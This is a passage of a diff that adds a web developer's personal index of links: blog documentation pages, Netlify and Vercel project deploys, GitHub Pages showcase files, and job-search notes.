+| <https://bgoonzblog20master.gtsb.io/docs/python/functions>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/python/google-sheets-api>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/python/intro-for-js-devs>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/python/python-ds>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/python/python-quiz>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/python/snippets>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/create-react-app>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/fetch>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/git-bash>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/git-tricks>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/google-firebase>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/installation>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/markdown-dropdowns>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/psql-setup>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/toprepos>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/vscode-themes>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/emmet>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/git-bash>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/git-tricks>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/google-firebase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/heroku-error-codes>                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/installation>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/new-repo-instructions>                     |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/pull-request-rubric>                       |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/quick-links>                               |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/toprepos>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/understanding-path>                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/vscode-themes>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/react>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/react/accessibility>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/react/cheatsheet>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/react/complete-react>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/react/createreactapp>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/react/demo>                                                |
+| <https://bgoonzblog20master.gtsb.io/docs/react/dont-use-index-as-keys>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/react/jsx>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react-docs>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react-in-depth>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react-patterns-by-usecase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react2>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/react/render-elements>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/reference>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/awesome-lists>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/awesome-nodejs>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/awesome-static>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/bash-commands>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/bookmarks>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/embed-the-web>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/github-resources>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/github-search>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/google-cloud>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/how-2-reinstall-npm>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/how-to-kill-a-process>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/installing-node>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/intro-to-nodejs>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/markdown-styleguide>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/notes-template>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/psql>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/resources>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/vscode>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/web-api%27s>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/sitemap/>"                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/sitemap/>"<https://bgoonzblog20master>.                    |
+| <https://bgoonzblog20master.gtsb.io/docs/sitemap/link>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/tips>                                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/7-tips-to-become-a-better-web-developer>              |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/array-methods>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/insert-into-array>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/regex-tips>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/sorting-strings>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/storybook>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/web-accessibility>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/tools>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/all-stripped>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/archive/link>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/dev-utilities>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/embeds-archive>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/markdown-html>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/algolia-search>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/bash>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/bash-commands-my>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/enviorment-setup>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/get-file-extension>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/how-to-use-google-sheets-as-cms>                 |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/psql-setup>                                      |
+
+---
+
+[Data Structures Website](https://trusting-dijkstra-4d3b17.netlify.app/)
+
+-   [Web-Dev-Quizzes](https://web-dev-interview-prep-quiz-website.netlify.app/intro-js2.html)
+
+-   [Recursion](https://zen-lamport-5aab2c.netlify.app/)
+
+-   [React Documentation Site](https://csb-ov0d1-bgoonz.vercel.app/)
+
+-   [Blogs-from-webdevhub](https://amazing-hodgkin-33aea6.netlify.app/)
+
+-   [Realty Website Demo](https://angry-fermat-dcf5dd.netlify.app/)
+
+-   [Best-Prac & Tools](https://boring-heisenberg-f425d8.netlify.app/)
+
+-   [site-analysis](https://site-analysis.netlify.app/)
+
+-   [a/AOpen Notes](https://clever-bartik-b5ba19.netlify.app/)
+
+-   [Iframe Embed Playground](https://code-playground.netlify.app/)
+
+-   [Triggered Effects Guitar Platform](https://condescending-lewin-c96727.netlify.app/)
+
+-   [Live Form](https://determined-dijkstra-666766.netlify.app/)
+
+-   [Interview Questions](https://determined-dijkstra-ee7390.netlify.app/)
+
+-   [Resources Compilation](https://eager-northcutt-456076.netlify.app/)
+
+-   [React Blog Depreciated](https://ecstatic-jang-593fd1.netlify.app/)
+
+-   [MihirBeg.com](https://eloquent-sammet-ba1810.netlify.app/)
+
+-   [Embeded Html Projects](https://embedable-content.netlify.app/)
+
+-   [Cheat Sheets](https://festive-borg-e4d856.netlify.app/)
+
+-   [Early Version Of WebDevHub](https://focused-pasteur-0faac8.netlify.app/)
+
+-   [My Gists](https://gists42.netlify.app/)
+
+-   [DS-Algo-Links](https://gracious-raman-474030.netlify.app/)
+
+-   [Video Chat App](https://happy-mestorf-0f8e75.netlify.app/)
+
+-   [Ciriculumn](https://hungry-shaw-30d504.netlify.app/)
+
+-   [Cheat Sheets](https://inspiring-jennings-d14689.netlify.app/)
+
+-   [Links](https://links4242.netlify.app/)
+
+-   [Medium Articles](https://modest-booth-4e17df.netlify.app/)
+
+-   [NextJS Blog Template](https://modest-torvalds-34afbc.netlify.app/)
+
+-   [React Demo](https://modest-varahamihira-772b59.netlify.app/)
+
+-   [Ecomerce Norwex V1](https://nervous-swartz-0ab2cc.netlify.app/)
+
+-   [Gifs](https://objective-borg-a327cd.netlify.app/)
+
+-   [Excel2HTML](https://pedantic-wing-adbf82.netlify.app/)
+
+-   [Data Structures Site](https://pensive-meitner-1ea8c4.netlify.app/)
+
+-   [Portfolio](https://portfolio42.netlify.app/)
+
+-   [Page Templates](https://priceless-shaw-86ccb2.netlify.app/)
+
+-   [Photo Gallary](https://quizzical-mcnulty-fa09f2.netlify.app/)
+
+-   [Coffee Website](https://relaxed-bhaskara-dc85ec.netlify.app/)
+
+-   [Awesome Resources](https://romantic-hamilton-514b79.netlify.app/)
+
+-   [Cheat Sheets](https://silly-lichterman-b22b5f.netlify.app/)
+
+-   [Link City](https://silly-shirley-ec955e.netlify.app/)
+
+-   [VSCODE Extensions](https://stoic-mccarthy-2c335f.netlify.app/)
+
+-   [webdevhub manual attempt](https://web-dev-resource-hub-manual-deploy.netlify.app/)
+
+-   [Norwex Resources](https://wonderful-pasteur-392fbe.netlify.app/)
+
+-   [idk](https://zen-bhabha-bd046f.netlify.app/)
+
+-   [heroku bare bones template](https://getting-started42.herokuapp.com/)
+
+-   [bad reads](https://bad-reads42.herokuapp.com/)
+
+-   [docusaurus](https://documentation-site-react2.vercel.app/)
+
+-   [stackbit](https://app.stackbit.com/studio/609b2d7c71a5dd0016f36326)
+
+-   [NEW BLOG](https://best-celery-b2d7c.netlify.app/)
+
+---
+
+-   [index.html](https://bgoonz.github.io/Project-Showcase/index.html)
+-   [Chessjs/index.html](https://bgoonz.github.io/Project-Showcase/Chessjs/index.html)
+-   [Javascript-Drum-Kit-master/index.html](https://bgoonz.github.io/Project-Showcase/Javascript-Drum-Kit-master/index.html)
+
+-   [explore-react-without-react-master/clock-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/clock-demo.html)
+-   [explore-react-without-react-master/index.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/index.html)
+-   [explore-react-without-react-master/tick-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/tick-demo.html)
+-   [explore-react-without-react-master/comment-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/comment-demo.html)
+-   [explore-react-without-react-master/state-clock-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/state-clock-demo.html)
+-   [explore-react-without-react-master/welcome-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/welcome-demo.html)
+-   [guessing-game-project-master/guessing-game-project-master/README.html](https://bgoonz.github.io/Project-Showcase/guessing-game-project-master/guessing-game-project-master/README.html)
+-   [javascript-text-to-speech-master/index.html](https://bgoonz.github.io/Project-Showcase/javascript-text-to-speech-master/index.html)
+-   [jsanimate-master/jsanimate-master/index.html](https://bgoonz.github.io/Project-Showcase/jsanimate-master/jsanimate-master/index.html)
+-   [memorygame-master/index.html](https://bgoonz.github.io/Project-Showcase/memorygame-master/index.html)
+-   [memorygame-master/img/background.psd](https://bgoonz.github.io/Project-Showcase/memorygame-master/img/background.psd)
+-   [Calculator/calculator.html](https://bgoonz.github.io/Project-Showcase/mini-projects/Calculator/calculator.html)
+-   [Radar/radar.html](https://bgoonz.github.io/Project-Showcase/mini-projects/Radar/radar.html)
+-   [Tooltip/cssTooltip.html](https://bgoonz.github.io/Project-Showcase/mini-projects/Tooltip/cssTooltip.html)
+-   [mini-showcase/dist/index.html](https://bgoonz.github.io/Project-Showcase/mini-showcase/dist/index.html)
+-   [project-archive/building-your-own-file-utilities-solution/short.txt](https://bgoonz.github.io/Project-Showcase/project-archive/building-your-own-file-utilities-solution/short.txt)
+-   [project-archive/global-replace-project-bonus-solution/essay.txt](https://bgoonz.github.io/Project-Showcase/project-archive/global-replace-project-bonus-solution/essay.txt)
+-   [project-archive/global-replace-project-core-solution/essay.txt](https://bgoonz.github.io/Project-Showcase/project-archive/global-replace-project-core-solution/essay.txt)
+-   [project-archive/local-storage-project-solution/storage-project.html](https://bgoonz.github.io/Project-Showcase/project-archive/local-storage-project-solution/storage-project.html)
+-   [project-archive/my-profile-solution/myProfile.html](https://bgoonz.github.io/Project-Showcase/project-archive/my-profile-solution/myProfile.html)
+-   [project-archive/proj2_debugging-recursive-solutions/debugging-recursive-solutions.pdf](https://bgoonz.github.io/Project-Showcase/project-archive/proj2_debugging-recursive-solutions/debugging-recursive-solutions.pdf)
+-   [project-archive/spud-face-project-solution/spud-face.html](https://bgoonz.github.io/Project-Showcase/project-archive/spud-face-project-solution/spud-face.html)
+-   [project-archive/testing-an-existing-project-solution/category-list-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/category-list-screen.html)
+-   [project-archive/testing-an-existing-project-solution/search-items-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/search-items-screen.html)
+-   [project-archive/testing-an-existing-project-solution/list-of-items-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/list-of-items-screen.html)
+-   [project-archive/testing-an-existing-project-solution/todo-form-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/todo-form-screen.html)
+-   [yahtzze/index.html](https://bgoonz.github.io/Project-Showcase/yahtzze/index.html)
+
+
+
+---
+
+
+### Random Static Deploys:
+
+
+1. - [https://random-static-html-deploys.netlify.app/3D_Hover_Effect_-_Alita_Card](https://random-static-html-deploys.netlify.app/3D_Hover_Effect_-_Alita_Card)
+2. - [3Dbox](https://random-static-html-deploys.netlify.app/3Dbox)
+3. - [Accordion_Menu_2](https://random-static-html-deploys.netlify.app/Accordion_Menu_2)
+4. - [Accordion_Menu_4](https://random-static-html-deploys.netlify.app/Accordion_Menu_4)
+5. - [Accordion_Menu_5](https://random-static-html-deploys.netlify.app/Accordion_Menu_5)
+6. - [Accordion_Menu_6](https://random-static-html-deploys.netlify.app/Accordion_Menu_6)
+7. - [Array.from_Animation](https://random-static-html-deploys.netlify.app/Array.from_Animation)
+8. - [ArraySliceAnimation](https://random-static-html-deploys.netlify.app/ArraySliceAnimation)
+9. - [Array_Accordion](https://random-static-html-deploys.netlify.app/Array_Accordion)
+10. - [Dark_Light_Menu](https://random-static-html-deploys.netlify.app/Dark_Light_Menu)
+11. - [DnaAnimation](https://random-static-html-deploys.netlify.app/DnaAnimation)
+12. - [EMBEDS_NOTION](https://random-static-html-deploys.netlify.app/EMBEDS_NOTION)
+13. - [Find_the_largest_and_smallest_number_on_an_array](https://random-static-html-deploys.netlify.app/Find_the_largest_and_smallest_number_on_an_array)
+14. - [Growing_Card_Flip](https://random-static-html-deploys.netlify.app/Growing_Card_Flip)
+15. - [HypotenuseCalculation](https://random-static-html-deploys.netlify.app/HypotenuseCalculation)
+16. - [Image_Slider](https://random-static-html-deploys.netlify.app/Image_Slider)
+17. - [JS_CLASS_-_Login_System](https://random-static-html-deploys.netlify.app/JS_CLASS_-_Login_System)
+18. - [JS_Information_Card_Slider](https://random-static-html-deploys.netlify.app/JS_Information_Card_Slider)
+19. - [JS_Promise_Login_System](https://random-static-html-deploys.netlify.app/JS_Promise_Login_System)
+20. - [JShoverEffect](https://random-static-html-deploys.netlify.app/JShoverEffect)
+21. - [JavaScript_Array_Card_Flip](https://random-static-html-deploys.netlify.app/JavaScript_Array_Card_Flip)
+22. - [JavaScript_Before_&_After_Comparison](https://random-static-html-deploys.netlify.app/JavaScript_Before_&_After_Comparison)
+23. - [JavaScript_Card_Flip](https://random-static-html-deploys.netlify.app/JavaScript_Card_Flip)
+24. - [JavaScript_TEAM_CARDS](https://random-static-html-deploys.netlify.app/JavaScript_TEAM_CARDS)
+25. - [JavaScript_Tabs_Style_2](https://random-static-html-deploys.netlify.app/JavaScript_Tabs_Style_2)
+26. - [JavaScript_Tabs_Styled_1](https://random-static-html-deploys.netlify.app/JavaScript_Tabs_Styled_1)
+27. - [JavaScript_To_Do_List](https://random-static-html-deploys.netlify.app/JavaScript_To_Do_List)
+28. - [Javascript_Rectangle_Area_and_Circumference_Calculation](https://random-static-html-deploys.netlify.app/Javascript_Rectangle_Area_and_Circumference_Calculation)
+29. - [Marvel_Tabs](https://random-static-html-deploys.netlify.app/Marvel_Tabs)
+30. - [Responsive_Accordion_Slider](https://random-static-html-deploys.netlify.app/Responsive_Accordion_Slider)
+31. - [SCSS_and_JS_Tabs](https://random-static-html-deploys.netlify.app/SCSS_and_JS_Tabs)
+32. - [blm](https://random-static-html-deploys.netlify.app/blm)
+33. - [blog-search](https://random-static-html-deploys.netlify.app/blog-search)
+34. - [bookmarks_8_21_21](https://random-static-html-deploys.netlify.app/bookmarks_8_21_21)
+35. - [border-generator](https://random-static-html-deploys.netlify.app/border-generator)
+36. - [border](https://random-static-html-deploys.netlify.app/border)
+37. - [box](https://random-static-html-deploys.netlify.app/box)
+38. - [codepen-embed](https://random-static-html-deploys.netlify.app/codepen-embed)
+39. - [dashed-border-generator](https://random-static-html-deploys.netlify.app/dashed-border-generator)
+40. - [embeds-showcase](https://random-static-html-deploys.netlify.app/embeds-showcase)
+41. - [google-add](https://random-static-html-deploys.netlify.app/google-add)
+42. - [google-map-api](https://random-static-html-deploys.netlify.app/google-map-api)
+43. - [google-maps-embed](https://random-static-html-deploys.netlify.app/google-maps-embed)
+44. - [guitar-tuner](https://random-static-html-deploys.netlify.app/guitar-tuner)
+45. - [](https://random-static-html-deploys.netlify.app/)
+46. - [index1](https://random-static-html-deploys.netlify.app/index1)
+47. - [js-cheat-sheet](https://random-static-html-deploys.netlify.app/js-cheat-sheet)
+48. - [lambda-search](https://random-static-html-deploys.netlify.app/lambda-search)
+49. - [markdow-tools-embed](https://random-static-html-deploys.netlify.app/markdow-tools-embed)
+50. - [my-starred-repos](https://random-static-html-deploys.netlify.app/my-starred-repos)
+51. - [my-websites](https://random-static-html-deploys.netlify.app/my-websites)
+52. - [my-websites2](https://random-static-html-deploys.netlify.app/my-websites2)
+53. - [paste-2-plain-text](https://random-static-html-deploys.netlify.app/paste-2-plain-text)
+54. - [react-tutorial](https://random-static-html-deploys.netlify.app/react-tutorial)
+55. - [react-tutorial1](https://random-static-html-deploys.netlify.app/react-tutorial1)
+56. - [rotate](https://random-static-html-deploys.netlify.app/rotate)
+57. - [showcase](https://random-static-html-deploys.netlify.app/showcase)
+58. - [showcase2](https://random-static-html-deploys.netlify.app/showcase2)
+59. - [showcase3](https://random-static-html-deploys.netlify.app/showcase3)
+60. - [sitemap](https://random-static-html-deploys.netlify.app/sitemap)
+61. - [timezones](https://random-static-html-deploys.netlify.app/timezones)
+62. - [wikipedia-viewer](https://random-static-html-deploys.netlify.app/wikipedia-viewer)
+63. - [zip-photos](https://random-static-html-deploys.netlify.app/zip-photos)
+64. - [comments](https://random-static-html-deploys.netlify.app/comments)
+65. - [comments/sitemap](https://random-static-html-deploys.netlify.app/comments/sitemap)
+66. - [hp-quiz-app/harry-potter-quiz](https://random-static-html-deploys.netlify.app/hp-quiz-app/harry-potter-quiz)
+67. - [solid](https://random-static-html-deploys.netlify.app/solid)
+68. - [solid/sitemap](https://random-static-html-deploys.netlify.app/solid/sitemap)
+69. - [web-speech-api-master](https://random-static-html-deploys.netlify.app/web-speech-api-master)
+70. - [web-speech-api-master/sitemap](https://random-static-html-deploys.netlify.app/web-speech-api-master/sitemap)
+71. - [bryan-guner.gitbook.io/job-search/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/README)
+72. - [bryan-guner.gitbook.io/job-search](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search)
+73. - [bryan-guner.gitbook.io/job-search/navigation-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/navigation-1)
+74. - [bryan-guner.gitbook.io/job-search/navigation](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/navigation)
+75. - [bryan-guner.gitbook.io/job-search/page-3](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/page-3)
+76. - [bryan-guner.gitbook.io/job-search/readme-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/readme-1)
+77. - [bryan-guner.gitbook.io/job-search/resources](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources)
+78. - [bryan-guner.gitbook.io/job-search/skills](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/skills)
+79. - [bryan-guner.gitbook.io/job-search/useful-downloads](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/useful-downloads)
+80. - [solid/src/sitemap](https://random-static-html-deploys.netlify.app/solid/src/sitemap)
+81. - [web-speech-api-master/phrase-matcher](https://random-static-html-deploys.netlify.app/web-speech-api-master/phrase-matcher)
+82. - [web-speech-api-master/phrase-matcher/sitemap](https://random-static-html-deploys.netlify.app/web-speech-api-master/phrase-matcher/sitemap)
+83. - [web-speech-api-master/speak-easy-synthesis](https://random-static-html-deploys.netlify.app/web-speech-api-master/speak-easy-synthesis)
+84. - [web-speech-api-master/speak-easy-synthesis/sitemap](https://random-static-html-deploys.netlify.app/web-speech-api-master/speak-easy-synthesis/sitemap)
+85. - [web-speech-api-master/speech-color-changer](https://random-static-html-deploys.netlify.app/web-speech-api-master/speech-color-changer)
+86. - [web-speech-api-master/speech-color-changer/sitemap](https://random-static-html-deploys.netlify.app/web-speech-api-master/speech-color-changer/sitemap)
+87. - [job-search/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/README)
+88. - [job-search](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search)
+89. - [job-search/navigation-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/navigation-1)
+90. - [job-search/navigation](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/navigation)
+91. - [job-search/page-3](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/page-3)
+92. - [job-search/readme-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/readme-1)
+93. - [job-search/resources](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources)
+94. - [job-search/skills](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/skills)
+95. - [job-search/useful-downloads](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/useful-downloads)
+96. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want)
+97. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications)
+98. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/postings](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/postings)
+99. - [bryan-guner.gitbook.io/job-search/aux-resources/youtube](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/aux-resources/youtube)
+100. - [bryan-guner.gitbook.io/job-search/cover-letter/example-of-developer-bio](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/cover-letter/example-of-developer-bio)
+101. - [bryan-guner.gitbook.io/job-search/cover-letter/old-engineering-cover-letter](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/cover-letter/old-engineering-cover-letter)
+102. - [bryan-guner.gitbook.io/job-search/cover-letter/page-10](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/cover-letter/page-10)
+103. - [bryan-guner.gitbook.io/job-search/interview-prep/37-essential-js-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/37-essential-js-questions)
+104. - [bryan-guner.gitbook.io/job-search/interview-prep/arrays](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/arrays)
+105. - [bryan-guner.gitbook.io/job-search/interview-prep/common-knowledge-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/common-knowledge-questions)
+106. - [bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice)
+107. - [bryan-guner.gitbook.io/job-search/interview-prep/examples](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/examples)
+108. - [bryan-guner.gitbook.io/job-search/interview-prep/fang-prep-medium-article](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/fang-prep-medium-article)
+109. - [bryan-guner.gitbook.io/job-search/interview-prep/general-advice-and-tips](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/general-advice-and-tips)
+110. - [bryan-guner.gitbook.io/job-search/interview-prep/hash-tables](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/hash-tables)
+111. - [bryan-guner.gitbook.io/job-search/interview-prep/interview-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions)
+112. - [bryan-guner.gitbook.io/job-search/interview-prep/more-practice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/more-practice)
+113. - [bryan-guner.gitbook.io/job-search/interview-prep/rubric](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/rubric)
+114. - [bryan-guner.gitbook.io/job-search/interview-prep/technical-interview-practice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/technical-interview-practice)
+115. - [bryan-guner.gitbook.io/job-search/interview-prep/types-of-data-structures](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/types-of-data-structures)
+116. - [bryan-guner.gitbook.io/job-search/interviewing/general](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/general)
+117. - [bryan-guner.gitbook.io/job-search/interviewing/inspiration](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/inspiration)
+118. - [bryan-guner.gitbook.io/job-search/interviewing/js](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js)
+119. - [bryan-guner.gitbook.io/job-search/job-boards/job-boards](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/job-boards/job-boards)
+120. - [bryan-guner.gitbook.io/job-search/job-postings/jobs-to-apply-to](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/job-postings/jobs-to-apply-to)
+121. - [bryan-guner.gitbook.io/job-search/job-postings/remote-positions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/job-postings/remote-positions)
+122. - [bryan-guner.gitbook.io/job-search/lambda-guidance-and-meetings/meetings](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/lambda-guidance-and-meetings/meetings)
+123. - [bryan-guner.gitbook.io/job-search/misc/articles-to-read](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/misc/articles-to-read)
+124. - [bryan-guner.gitbook.io/job-search/networking/events](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/networking/events)
+125. - [bryan-guner.gitbook.io/job-search/notes/notes](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/notes/notes)
+126. - [bryan-guner.gitbook.io/job-search/portfolio/git-repo](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/portfolio/git-repo)
+127. - [bryan-guner.gitbook.io/job-search/portfolio/page-11](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/portfolio/page-11)
+128. - [bryan-guner.gitbook.io/job-search/portfolio/showcase](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/portfolio/showcase)
+129. - [bryan-guner.gitbook.io/job-search/resources/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/README)
+130. - [bryan-guner.gitbook.io/job-search/resources/cold-outreach-generator](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/cold-outreach-generator)
+131. - [bryan-guner.gitbook.io/job-search/resources/job-search-advice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/job-search-advice)
+132. - [bryan-guner.gitbook.io/job-search/resources/links](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/links)
